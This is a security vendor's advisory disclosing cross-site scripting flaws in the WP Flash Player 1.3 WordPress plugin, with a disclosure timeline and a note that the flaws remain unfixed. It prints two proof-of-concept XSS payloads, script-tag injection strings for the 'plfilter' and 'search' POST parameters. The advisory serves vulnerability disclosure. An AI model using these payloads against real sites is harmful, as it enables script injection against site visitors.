Multiple Cross-site Scripting Vulnerabilities in WP Flash Player 1.3


Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in WP Flash Player 1.3
Affected Software: WP Flash Player 1.3
Affected Versions: 1.3 and possibly below
Vendor Homepage:
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-15-009

Technical Details

Proof of Concept URLs for XSS in WP Flash Player 1.3:

  • URL:
    Parameter Name: plfilter
    Parameter Type: POST
    Attack Pattern: 0'"--></style></scRipt><scRipt>alert(0x000862)</scRipt>
  • URL:
    Parameter Name: search
    Parameter Type: POST
    Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0007DE)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

17/03/2015 – First Contact
01/06/2015 – Second Contact
30/06/2015 – Third Contact
15/07/2015 – Advisory Released


The vulnerabilities have not been fixed by the developer.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.